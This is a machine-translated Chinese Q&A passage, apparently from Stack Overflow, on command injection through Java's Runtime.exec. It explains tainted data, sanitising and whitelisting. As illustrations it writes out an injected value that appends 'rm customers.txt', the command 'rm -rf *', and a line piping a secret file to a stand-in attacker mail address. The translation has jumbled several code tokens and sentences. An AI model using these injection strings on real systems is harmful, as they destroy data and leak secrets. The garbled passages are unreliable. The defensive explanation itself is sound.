根据我对site OS(linux / windows)命令的理解,可以执行命令 仅当我在Runtime.exec
中使用任何字符串作为参数时我的问题是,如果我不使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串都可以执行OS命令?我的答案是它不应该是可能的 无论如何。
答案 0 :(得分:1)
最安全的做法是始终避免像node_modules
或system()
这样的来电 - 事实上在某些组织中,如果您的应用程序这样做,您绝对不会通过安全审核。
但是,正如您所暗示的那样,您可以采取措施使其安全。一个有用的概念是" tainted"数据。用户或客户端提供的一段数据污染。由污染数据构建的数据也会受到污染。您可以"取消*数据,例如将其映射到列入白名单的选项,或清除它。
exec()
您可以看到 String name = request.getBody(); // tainted
String cmd = "grep " + name + " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
如何返回request.getBody()
然后slim
是安全的。但是,如果用户提供的数据为grep slim customers.txt
,那么slim customers.txt; rm
生成的cmd
就是坏消息。
grep slim customers.txt; rm customers.txt
之外, sanitize()
可能会删除所有内容。
清理程序有很大的余地是天真的,而且不够彻底,这可能是攻击媒介 - 所以白名单被认为更安全。
(有许多语言的工具可以分析代码,并警告您来自不受信任来源的数据是否写入不安全的目的地:https://www.owasp.org/index.php/Source_Code_Analysis_Tools)
如果传递给a-zA-Z
的字符串没有被污染,那么这是迈向安全的一步。然而,仍然存在危险的方法。考虑:
exec()
现在, String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
和command
都没有受到影响 - 它们不是由用户提供的 - 但我们通过该文件将染色数据传递给path
,并且&#39 ;风险是myProgram会对数据做一些危险的事情。
最明显的例子是myProgram
是command
,而请求正文是/bin/bash
或rm -rf *
。
但是有很多更微妙的方法可能会有风险。例如,cat secretFile | mail blackhat@naughtyhacker.com
可能使用文件的内容来构建SQL请求。
您可以在各个地方减轻这些风险。您可以在将数据写入文件之前对数据进行清理,或者您可以在安全模型中明确说明文件的内容受到污染,myprogram
必须将其视为此类,并自行进行无操作。